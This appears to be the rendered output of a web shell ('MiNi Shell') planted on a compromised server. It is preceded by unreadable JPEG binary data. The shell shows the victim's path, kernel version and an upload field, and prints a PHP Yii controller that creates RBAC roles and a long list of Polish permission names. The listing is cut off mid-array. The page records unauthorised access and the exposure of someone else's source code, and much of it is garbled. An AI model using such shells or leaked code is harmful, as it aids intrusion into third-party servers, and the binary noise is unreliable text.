JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/Rbac2Controller.php

<?php

namespace console\controllers;

use \Yii as Yii;
use \yii\console\Controller;
use \yii\helpers\Console;
use common\models\types\UserProfile;

/**
 * A set of actions responsible for the preparation of the data for the RBAC
 */
class Rbac2Controller extends Controller
{
    protected $roles = [];
    
    /**
     * Creates a set of roles
     * 
     * @return int exit code
     */
    public function actionCreateRoles()
    {
        $auth = Yii::$app->authManager;
        
        if($auth->getRole(UserProfile::USER) === null) {
            $user = $auth->createRole(UserProfile::USER);
            $user->description = Yii::t('common-models-types', 'Użytkownik - opis');
            $auth->add($user);
        }
        
        if($auth->getRole(UserProfile::COMPANY) === null) {
            $company = $auth->createRole(UserProfile::COMPANY);
            $company->description = Yii::t('common-models-types', 'Firma - opis');
            $auth->add($company);
        }
        
        if($auth->getRole(UserProfile::MARKETER) === null) {
            $marketer = $auth->createRole(UserProfile::MARKETER);
            $marketer->description = Yii::t('common-models-types', 'Handlowiec - opis');
            $auth->add($marketer);
        }
        
        if($auth->getRole(UserProfile::OPERATOR) === null) {
            $operator = $auth->createRole(UserProfile::OPERATOR);
            $operator->description = Yii::t('common-models-types', 'Operator - opis');
            $auth->add($operator);
        }
        
        if($auth->getRole(UserProfile::EDITOR) === null) {
            $editor = $auth->createRole(UserProfile::EDITOR);
            $editor->description = Yii::t('common-models-types', 'Redaktor - opis');
            $auth->add($editor);
        }
        
        if($auth->getRole(UserProfile::MODERATOR) === null) {
            $moderator = $auth->createRole(UserProfile::MODERATOR);
            $moderator->description = Yii::t('common-models-types', 'Moderator - opis');
            $auth->add($moderator);
        }
        
        if($auth->getRole(UserProfile::ADMIN) === null) {
            $admin = $auth->createRole(UserProfile::ADMIN);
            $admin->description = Yii::t('common-models-types', 'Administrator - opis');
            $auth->add($admin);
        }
        
        if($auth->getRole(UserProfile::WEB_DEVELOPER) === null) {
            $admin = $auth->createRole(UserProfile::WEB_DEVELOPER);
            $admin->description = Yii::t('common-models-types', 'Web developer - opis');
            $auth->add($admin);
        }
        
        //tymczasowo wyłączamy hierarchiczność ról
//        $this->_createRoleRelations();
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    protected function _createRoleRelations()
    {
        $auth = Yii::$app->authManager;
        
        $admin = $auth->getRole(UserProfile::ADMIN);
        $moderator = $auth->getRole(UserProfile::MODERATOR);
        $editor = $auth->getRole(UserProfile::EDITOR);
        $operator = $auth->getRole(UserProfile::OPERATOR);
        $marketer = $auth->getRole(UserProfile::MARKETER);
        $company = $auth->getRole(UserProfile::COMPANY);
        $user = $auth->getRole(UserProfile::USER);
        $webDeveloper = $auth->getRole(UserProfile::WEB_DEVELOPER);
        
        if(!$auth->hasChild($company, $user)) {
            $auth->addChild($company, $user);
        }
        if(!$auth->hasChild($marketer, $company)) {
            $auth->addChild($marketer, $company);
        }
        if(!$auth->hasChild($operator, $marketer)) {
            $auth->addChild($operator, $marketer);
        }
        if(!$auth->hasChild($editor, $operator)) {
            $auth->addChild($editor, $operator);
        }
        if(!$auth->hasChild($moderator, $editor)) {
            $auth->addChild($moderator, $editor);
        }        
        if(!$auth->hasChild($admin, $moderator)) {
            $auth->addChild($admin, $moderator);
        }
    }
    
    /**
     * Creates a set of permission for roles
     * 
     * @return int exit code
     */
    public function actionCreatePermissions()
    {
        $auth = Yii::$app->authManager;
        
        $auth->removeAllPermissions();
        
        $permissionViewCompanyData = $auth->createPermission('viewCompanyData');
        $permissionViewCompanyData->description = 'Uprawnienia do przeglądania danych należących do firm.';
        $auth->add($permissionViewCompanyData);
        
        $ruleCheckCompanyOwner = $auth->getRule('checkCompanyOwner');
        if(empty($ruleCheckCompanyOwner)) {
            echo $this->stderr('Rule: "checkCompanyOwner" not exists. You must execute command: "yii rbac/create-rules".');
            return Controller::EXIT_CODE_ERROR;
        }
        
        $permissionViewOwnCompanyData = $auth->createPermission('viewOwnCompanyData');
        $permissionViewOwnCompanyData->description = 'Uprawnienia do przeglądania danych należących do własnych firm.';
        $permissionViewOwnCompanyData->ruleName = $ruleCheckCompanyOwner->name;
        $auth->add($permissionViewOwnCompanyData);        
        
        $auth->addChild($permissionViewOwnCompanyData, $permissionViewCompanyData);
                
//        $permissionIndexPublishingHouses = $auth->createPermission('indexPublishingHouses');
//        $permissionIndexPublishingHouses->description = 'Uprawnienia do przeglądania listy wydawnictw.';
//        $auth->add($permissionIndexPublishingHouses);
//        
//        $permissionViewPublishingHouses = $auth->createPermission('viewPublishingHouses');
//        $permissionViewPublishingHouses->description = 'Uprawnienia do podglądu szczegółów wydawnictw.';
//        $auth->add($permissionViewPublishingHouses);
//        
//        $permissionCreatePublishingHouses = $auth->createPermission('createPublishingHouses');
//        $permissionCreatePublishingHouses->description = 'Uprawnienia do tworzenia wydawnictw.';
//        $auth->add($permissionCreatePublishingHouses);
//        
//        $permissionUpdatePublishingHouses = $auth->createPermission('updatePublishingHouses');
//        $permissionUpdatePublishingHouses->description = 'Uprawnienia do edycji wydawnictw.';
//        $auth->add($permissionUpdatePublishingHouses);        
//        
//        $permissionDeletePublishingHouses = $auth->createPermission('deletePublishingHouses');
//        $permissionDeletePublishingHouses->description = 'Uprawnienia do usuwania wydawnictw.';
//        $auth->add($permissionDeletePublishingHouses);
//        
//        $permissionIndexBookstoreCategories = $auth->createPermission('indexBookstoreCategories');
//        $permissionIndexBookstoreCategories->description = 'Uprawnienia do przeglądania drzewa kategorii księgarni.';
//        $auth->add($permissionIndexBookstoreCategories);
//        
//        $permissionModifyBookstoreCategories = $auth->createPermission('modifyBookstoreCategories');
//        $permissionModifyBookstoreCategories->description = 'Uprawnienia do modyfikowania drzewa kategorii księgarni.';
//        $auth->add($permissionModifyBookstoreCategories);
//        
//        $permissionIndexBookstoreReviews = $auth->createPermission('indexBookstoreReviews');
//        $permissionIndexBookstoreReviews->description = 'Uprawnienia do przeglądania listy opinii w księgarni.';
//        $auth->add($permissionIndexBookstoreReviews);
//        
//        $permissionViewBookstoreReviews = $auth->createPermission('viewBookstoreReviews');
//        $permissionViewBookstoreReviews->description = 'Uprawnienia do podglądu szczegółów opinii w księgarni.';
//        $auth->add($permissionViewBookstoreReviews);
//        
//        $permissionUpdateBookstoreReviews = $auth->createPermission('updateBookstoreReviews');
//        $permissionUpdateBookstoreReviews->description = 'Uprawnienia do edycji opinii w księgarni.';
//        $auth->add($permissionUpdateBookstoreReviews);
//        
//        $permissionDeleteBookstoreReviews = $auth->createPermission('deleteBookstoreReviews');
//        $permissionDeleteBookstoreReviews->description = 'Uprawnienia do usuwania opinii w księgarni.';
//        $auth->add($permissionDeleteBookstoreReviews);
//        
//        $permissionAcceptBookstoreReviews = $auth->createPermission('acceptBookstoreReviews');
//        $permissionAcceptBookstoreReviews->description = 'Uprawnienia do akceptacji nowych opinii w księgarni.';
//        $auth->add($permissionAcceptBookstoreReviews);
//        
//        $permissionIndexBookstoreDiscountCodes = $auth->createPermission('indexBookstoreDiscountCodes');
//        $permissionIndexBookstoreDiscountCodes->description = 'Uprawnienia do przeglądania listy kodów rabatowych dla księgarni.';
//        $auth->add($permissionIndexBookstoreDiscountCodes);
//        
//        $permissionViewBookstoreDiscountCodes = $auth->createPermission('viewBookstoreDiscountCodes');
//        $permissionViewBookstoreDiscountCodes->description = 'Uprawnienia do podglądu szczegółów kodów rabatowych dla księgarni.';
//        $auth->add($permissionViewBookstoreDiscountCodes);
//        
//        $permissionCreateBookstoreDiscountCodes = $auth->createPermission('createBookstoreDiscountCodes');
//        $permissionCreateBookstoreDiscountCodes->description = 'Uprawnienia do tworzenia kodów rabatowych dla księgarni.';
//        $auth->add($permissionCreateBookstoreDiscountCodes);
//        
//        $permissionDeleteBookstoreDiscountCodes = $auth->createPermission('deleteBookstoreDiscountCodes');
//        $permissionDeleteBookstoreDiscountCodes->description = 'Uprawnienia do usuwania kodów rabatowych dla księgarni.';
//        $auth->add($permissionDeleteBookstoreDiscountCodes);
        
                
//        $permissionIndexArticles = $auth->createPermission('indexArticles');
//        $permissionIndexArticles->description = 'Uprawnienia do przeglądania listy artykułów.';
//        $auth->add($permissionIndexArticles);
//        
//        $permissionViewArticles = $auth->createPermission('viewArticles');
//        $permissionViewArticles->description = 'Uprawnienia do podglądu szczegółów artykułów.';
//        $auth->add($permissionViewArticles);
//        
//        $permissionModifyArticles = $auth->createPermission('modifyArticles');
//        $permissionModifyArticles->description = 'Uprawnienia do modyfikowania artykułów.';
//        $auth->add($permissionModifyArticles);
//        
//        $permissionDeleteArticles = $auth->createPermission('deleteArticles');
//        $permissionDeleteArticles->description = 'Uprawnienia do usuwania artykułów.';
//        $auth->add($permissionDeleteArticles);
//                        
//        $permissionIndexOwnArticles = $auth->createPermission('indexOwnArticles');
//        $permissionIndexOwnArticles->description = 'Uprawnienia do przeglądania listy własnych artykułów.';
//        $auth->add($permissionIndexOwnArticles);
//             
//        $permissionViewOwnArticles = $auth->createPermission('viewOwnArticles');
//        $permissionViewOwnArticles->description = 'Uprawnienia do podglądu szczegółów własnych artykułów.';
//        $ruleCheckArticleOwner = $auth->getRule('checkArticleOwner');
//        $permissionViewOwnArticles->ruleName = $ruleCheckArticleOwner->name;
//        $auth->add($permissionViewOwnArticles);                
//        $auth->addChild($permissionViewOwnArticles, $permissionViewArticles);
//        
//        $permissionModifyArticlesStatuses = $auth->createPermission('modifyArticlesStatuses');
//        $permissionModifyArticlesStatuses->description = 'Uprawnienia do modyfikowania statusów artykułów.';
//        $auth->add($permissionModifyArticlesStatuses);
//        
//        
//        $permissionBrowsePortalsArticlesGroups = $auth->createPermission('browsePortalsArticlesGroups');
//        $permissionBrowsePortalsArticlesGroups->description = 'Uprawnienia do przeglądania tematycznych grup dla artykułów.';
//        $auth->add($permissionBrowsePortalsArticlesGroups);
//        
//        $permissionModifyPortalsArticlesGroups = $auth->createPermission('modifyPortalsArticlesGroups');
//        $permissionModifyPortalsArticlesGroups->description = 'Uprawnienia do modyfikowania tematycznych grup dla artykułów.';
//        $auth->add($permissionModifyPortalsArticlesGroups);
//        
//        $permissionIndexPartners = $auth->createPermission('indexPartners');
//        $permissionIndexPartners->description = 'Uprawnienia do przeglądania listy partnerów.';
//        $auth->add($permissionIndexPartners);
//        
//        $permissionCreatePartners = $auth->createPermission('createPartners');
//        $permissionCreatePartners->description = 'Uprawnienia do tworzenia partnerów.';
//        $auth->add($permissionCreatePartners);
//        
//        $permissionUpdatePartners = $auth->createPermission('updatePartners');
//        $permissionUpdatePartners->description = 'Uprawnienia do edycji partnerów.';
//        $auth->add($permissionUpdatePartners);
//        
//        $permissionDeletePartners = $auth->createPermission('deletePartners');
//        $permissionDeletePartners->description = 'Uprawnienia do usuwania partnerów.';
//        $auth->add($permissionDeletePartners);
        
        $permissions = [
            ['indexAllBooks', 'Uprawnienia do przeglądania listy wszystkich książek.'],
            ['indexAllProducts', 'Uprawnienia do przeglądania listy wszystkich produktów.'],
            
            ['deleteManyProducts', 'Uprawnienia do usuwania wielu produktów na raz.'],
            ['enableManyProducts', 'Uprawnienia do włączania wielu produktów na raz.'],
            ['disableManyProducts', 'Uprawnienia do wyłączania wielu produktów na raz.'],
            ['convertContentImagesToWebpForProducts', 'Uprawnienia do automatycznego konwertowania osadzonych w treści produktów zdjęć.'],
            
            ['markingProductsAsVerified', 'Uprawnienia do oznaczania produktów jako zweryfikowane.'],
            
            ['indexTasksGeneratingProducts', 'Uprawnienia do przeglądania listy zgłoszeń generowania opisów produktów.'],                    
            ['viewTasksGeneratingProducts', 'Uprawnienia do podglądu szczegółów zgłoszeń generowania opisów produktów.'],
            ['modifyTasksGeneratingProducts', 'Uprawnienia do modyfikowania zgłoszeń generowania opisów produktów.'],
            ['deleteTasksGeneratingProducts', 'Uprawnienia do usuwania zgłoszeń generowania opisów produktów.'], 
            ['setAsUsedTasksGeneratingProducts', 'Uprawnienia do oznaczenia zgłoszeń generowania opisów produktów jako wykonane.'],
            
            ['indexPublishingHouses', 'Uprawnienia do przeglądania listy wydawnictw.'],
            ['viewPublishingHouses', 'Uprawnienia do podglądu szczegółów wydawnictw.'],
            ['createPublishingHouses', 'Uprawnienia do tworzenia wydawnictw.'],
            ['updatePublishingHouses', 'Uprawnienia do edycji wydawnictw.'],
            ['deletePublishingHouses', 'Uprawnienia do usuwania wydawnictw.'],
            
            ['indexBookstoreCategories', 'Uprawnienia do przeglądania drzewa kategorii księgarni.'],
            ['modifyBookstoreCategories', 'Uprawnienia do modyfikowania drzewa kategorii księgarni.'],
            
            ['indexBooksReviews', 'Uprawnienia do przeglądania listy opinii w księgarni.'],
            ['viewBooksReviews', 'Uprawnienia do podglądu szczegółów opinii w księgarni.'],
            ['updateBooksReviews', 'Uprawnienia do edycji opinii w księgarni.'],
            ['deleteBooksReviews', 'Uprawnienia do usuwania opinii w księgarni.'],
            ['acceptBooksReviews', 'Uprawnienia do akceptacji nowych opinii w księgarni.'],
            
            ['indexBookstoreDiscountCodes', 'Uprawnienia do przeglądania listy kodów rabatowych dla księgarni.'],
            ['viewBookstoreDiscountCodes', 'Uprawnienia do podglądu szczegółów kodów rabatowych dla księgarni.'],
            ['createBookstoreDiscountCodes', 'Uprawnienia do tworzenia kodów rabatowych dla księgarni.'],
            ['deleteBookstoreDiscountCodes', 'Uprawnienia do usuwania kodów rabatowych dla księgarni.'],
            
            ['indexArticles', 'Uprawnienia do przeglądania listy artykułów.'],
            ['indexOwnArticles', 'Uprawnienia do przeglądania listy własnych artykułów.'],                        
            ['viewArticles', 'Uprawnienia do podglądu szczegółów artykułów.'],
            ['viewOwnArticles', 'Uprawnienia do podglądu szczegółów własnych artykułów.', 'checkArticleOwner', 'viewArticles'],
            ['modifyArticles', 'Uprawnienia do modyfikowania artykułów.'],
            ['deleteArticles', 'Uprawnienia do usuwania artykułów.'],            
            ['modifyArticlesStatuses', 'Uprawnienia do modyfikowania statusów artykułów.'],
            ['assignArticlesToPortals', 'Uprawnienia do przypisywania artykułów do portali.'],
            ['translateArticles', 'Uprawnienia do tłumaczenia artykułów za pomocą Google Translate.'],
            ['indexArticlesWaitingForTranslation', 'Uprawnienia do przeglądania listy artykułów oczekujących na przetłumaczenie za pomocą Google Translate'],
            ['applyArticlesForTranslation', 'Uprawnienia do zgłaszania artykułów do tłumaczenia za pomocą Google Translate.'],
            
            ['browsePortalsArticlesGroups', 'Uprawnienia do przeglądania tematycznych grup dla artykułów.'],
            ['modifyPortalsArticlesGroups', 'Uprawnienia do modyfikowania tematycznych grup dla artykułów.'],
            
            ['indexTasksGeneratingArticles', 'Uprawnienia do przeglądania listy zgłoszeń generowania artykułów.'],                    
            ['viewTasksGeneratingArticles', 'Uprawnienia do podglądu szczegółów zgłoszeń generowania artykułów.'],
            ['modifyTasksGeneratingArticles', 'Uprawnienia do modyfikowania zgłoszeń generowania artykułów.'],
            ['deleteTasksGeneratingArticles', 'Uprawnienia do usuwania zgłoszeń generowania artykułów.'], 
            
            ['viewArticlesSEOPortalsSettings', 'Uprawnienia do poglądu szczegółów ustawień SEO-portali dla artykułów.'],
            
            ['indexPartners', 'Uprawnienia do przeglądania listy partnerów.'],
            ['viewPartners', 'Uprawnienia do podglądu szczegółów partnerów.'],
            ['createPartners', 'Uprawnienia do tworzenia partnerów.'],
            ['updatePartners', 'Uprawnienia do edycji partnerów.'],
            ['deletePartners', 'Uprawnienia do usuwania partnerów.'],
            
            ['indexMailingsReservations', 'Uprawnienia do przeglądania listy rezerwacji mailingów.'],
            ['viewMailingsReservations', 'Uprawnienia do podglądu szczegółów rezerwacji mailingów.'],
            ['createMailingsReservations', 'Uprawnienia do tworzenia rezerwacji mailingów.'],
            ['createOwnMailingsReservations', 'Uprawnienia do tworzenia własnych rezerwacji mailingów.'],
            ['updateMailingsReservations', 'Uprawnienia do edycji rezerwacji mailingów.'],
            ['updateOwnMailingsReservations', 'Uprawnienia do edycji własnych rezerwacji mailingów.', 'checkMailingReservationOwner', 'updateMailingsReservations'],
            ['deleteMailingsReservations', 'Uprawnienia do usuwania rezerwacji mailingów.'],
            ['deleteOwnMailingsReservations', 'Uprawnienia do usuwania własnych rezerwacji mailingów.', 'checkMailingReservationOwner', 'deleteMailingsReservations'],
            ['acceptMailingsReservations', 'Uprawnienia do akceptacji rezerwacji mailingów.'],
            ['acceptOwnMailingsReservations', 'Uprawnienia do akceptacji własnych rezerwacji mailingów.', 'checkMailingReservationOwner', 'acceptMailingsReservations'],
            ['remindMailingsReservations', 'Uprawnienia do przypominania o rezerwacji mailingów.'],
//            ['finalizeMailingsReservations', 'Uprawnienia do finalizowania rezerwacji mailingów.'],
            
            ['indexBanners', 'Uprawnienia do przeglądania listy banerów.'],
            ['viewBanners', 'Uprawnienia do podglądu szczegółów banerów.'],
            ['createBanners', 'Uprawnienia do tworzenia banerów.'],
            ['updateBanners', 'Uprawnienia do edycji banerów.'],
            ['deleteBanners', 'Uprawnienia do usuwania banerów.'],
            ['copyBanners', 'Uprawnienia do kopiowania banerów.'],
            
            ['sendNotificationAboutBannersPublish', 'Uprawnienia do wysyłania powiadomień o publikacji banerów.'],
            
            ['viewBannersStatistics', 'Uprawnienia do przeglądania statystyk banerów.'],
            
            ['deleteBannersStatisticsReports', 'Uprawnienia do usuwania raportów ze statystyk banerów.'],
            
            ['indexBannersReservations', 'Uprawnienia do przeglądania listy rezerwacji banerów.'],
            ['viewBannersReservations', 'Uprawnienia do podglądu szczegółów rezerwacji banerów.'],
            ['createBannersReservations', 'Uprawnienia do tworzenia rezerwacji banerów.'],
            ['createOwnBannersReservations', 'Uprawnienia do tworzenia własnych rezerwacji banerów.'],
            ['updateBannersReservations', 'Uprawnienia do edycji rezerwacji banerów.'],
            ['updateOwnBannersReservations', 'Uprawnienia do edycji własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'updateBannersReservations'],
            ['deleteBannersReservations', 'Uprawnienia do usuwania rezerwacji banerów.'],
            ['deleteOwnBannersReservations', 'Uprawnienia do usuwania własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'deleteBannersReservations'],
            ['indexBannersReservationsVersions', 'Uprawnienia do przeglądania listy wersji rezerwacji banerów.'],
            ['indexOwnBannersReservationsVersions', 'Uprawnienia do przeglądania listy wersji własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'indexBannersReservationsVersions'],
            ['createBannersReservationsVersions', 'Uprawnienia do tworzenia wersji rezerwacji banerów.'],
            ['createOwnBannersReservationsVersions', 'Uprawnienia do tworzenia wersji własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'createBannersReservationsVersions'], 
            ['viewBannersReservationsVersions', 'Uprawnienia do podglądu wersji rezerwacji banerów.'],
            ['viewOwnBannersReservationsVersions', 'Uprawnienia do podglądu wersji własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'viewBannersReservationsVersions'],
            ['acceptBannersReservationsVersions', 'Uprawnienia do akceptacji wersji rezerwacji banerów.'],
            ['acceptOwnBannersReservationsVersions', 'Uprawnienia do akceptacji wersji własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'acceptBannersReservationsVersions'],
            ['deleteBannersReservationsVersions', 'Uprawnienia do usuwania wersji rezerwacji banerów.'],
            ['deleteOwnBannersReservationsVersions', 'Uprawnienia do usuwania wersji własnych rezerwacji banerów.', 'checkBannerReservationOwner', 'deleteBannersReservationsVersions'],
            ['sendBannersReservationsVersions', 'Uprawnienia do wysyłania mailem wersji rezerwacji banerów.'],
            ['requestPublicationBannersReservationsVersions', 'Uprawnienia do wysyłania próśb o publikację własnych rezerwacji banerów.', 'checkBannerReservationOwner'],
            
            ['indexTenders', 'Uprawnienia do przeglądania listy przetargów.'],
            ['viewTenders', 'Uprawnienia do podglądu szczegółów przetargów.'],
            ['deleteTenders', 'Uprawnienia do usuwania przetargów.'],
            ['createInquiriesFromTenders', 'Uprawnienia do tworzenia zapytań ofertowych na podstawie przetargów.'],            
            
            ['indexInquiries', 'Uprawnienia do przeglądania listy zapytań ofertowych.'],
            ['indexOwnInquiries', 'Uprawnienia do przeglądania listy własnych zapytań ofertowych.'],
            ['viewInquiries', 'Uprawnienia do podglądu szczegółów zapytań ofertowych.'],
            ['viewOwnInquiries', 'Uprawnienia do podglądu szczegółów własnych zapytań ofertowych.', 'checkInquiryOwner', 'viewInquiries'],
            ['updateInquiries', 'Uprawnienia do edycji zapytań ofertowych.'],
            ['updateInquiriesFromTenders', 'Uprawnienia do edycji zapytań ofertowych utworzonych na podstawie przetargów.'],
            ['deleteInquiries', 'Uprawnienia do usuwania zapytań ofertowych.'],
            ['acceptInquiries', 'Uprawnienia do akceptacji nowych zapytań ofertowych.'],
            ['stopInquiries', 'Uprawnienia do zatrzymywania wysyłki zapytań ofertowych.'],
            ['createInquiries', 'Uprawnienia do tworzenia zapytań ofertowych.'],
            
            ['indexAdvertisementsParams', 'Uprawnienia do przeglądania listy parametrów ogłoszeń.'],
            ['viewAdvertisementsParams', 'Uprawnienia do podglądu szczegółów parametrów ogłoszeń.'],
            ['createAdvertisementsParams', 'Uprawnienia do tworzenia parametrów ogłoszeń.'],
            ['updateAdvertisementsParams', 'Uprawnienia do edycji parametrów ogłoszeń.'],
            ['deleteAdvertisementsParams', 'Uprawnienia do usuwania parametrów ogłoszeń.'],
            
            ['indexAdvertisements', 'Uprawnienia do przeglądania listy ogłoszeń.'],
            ['indexOwnAdvertisements', 'Uprawnienia do przeglądania listy własnych ogłoszeń.'],
            ['viewAdvertisements', 'Uprawnienia do podglądu szczegółów ogłoszeń.'],
            ['viewOwnAdvertisements', 'Uprawnienia do podglądu szczegółów własnych ogłoszeń.', 'checkAdvertisementOwner', 'viewAdvertisements'],
            ['createAdvertisements', 'Uprawnienia do tworzenia ogłoszeń.'],
            ['createOwnAdvertisements', 'Uprawnienia do tworzenia własnych ogłoszeń.'],
            ['updateAdvertisements', 'Uprawnienia do edycji ogłoszeń.'],
            ['updateOwnAdvertisements', 'Uprawnienia do edycji własnych ogłoszeń.', 'checkAdvertisementOwner', 'updateAdvertisements'],
            ['deleteAdvertisements', 'Uprawnienia do usuwania ogłoszeń.'],
            ['deleteOwnAdvertisements', 'Uprawnienia do usuwania własnych ogłoszeń.', 'checkAdvertisementOwner', 'deleteAdvertisements'],
            ['modifyAdvertisementsStatuses', 'Uprawnienia do modyfikowania statusów ogłoszeń.'],
            ['refreshAdvertisements', 'Uprawnienia do odświeżania ogłoszeń.'],
            ['refreshOwnAdvertisements', 'Uprawnienia do odświeżania własnych ogłoszeń.', 'checkAdvertisementOwner', 'refreshAdvertisements'],
            ['closeAdvertisements', 'Uprawnienia do zamykania ogłoszeń.'],
            ['closeOwnAdvertisements', 'Uprawnienia do zamykania własnych ogłoszeń.', 'checkAdvertisementOwner', 'closeAdvertisements'],
            
            ['indexAdvertisementsMessages', 'Uprawnienia do przeglądania listy wiadomości do ogłoszeń.'],
            ['viewAdvertisementsMessages', 'Uprawnienia do podglądu szczegółów wiadomości do ogłoszeń.'],
            ['viewOwnAdvertisementsMessages', 'Uprawnienia do podglądu szczegółów własnych wiadomości do ogłoszeń.', 'checkAdvertisementMessageOwner', 'viewAdvertisementsMessages'],
            ['createAdvertisementsMessages', 'Uprawnienia do tworzenia wiadomości do ogłoszeń.', 'checkAdvertisementMessageOwner'],
            ['deleteAdvertisementsMessages', 'Uprawnienia do usuwania wiadomości do ogłoszeń.'],
            ['deleteOwnAdvertisementsMessages', 'Uprawnienia do usuwania własnych wiadomości do ogłoszeń.', 'checkAdvertisementMessageOwner', 'deleteAdvertisementsMessages'],
            
            ['indexUsersShippingData', 'Uprawnienia do przeglądania listy danych do wysyłek.'],
            ['indexOwnUsersShippingData', 'Uprawnienia do przeglądania listy własnych danych do wysyłek.'],
            ['viewUsersShippingData', 'Uprawnienia do podglądu szczegółów danych do wysyłek.'],
            ['viewOwnUsersShippingData', 'Uprawnienia do podglądu szczegółów własnych danych do wysyłek.', 'checkUsersShippingDataOwner', 'viewUsersShippingData'],
            ['createUsersShippingData', 'Uprawnienia do tworzenia danych do wysyłek.'],
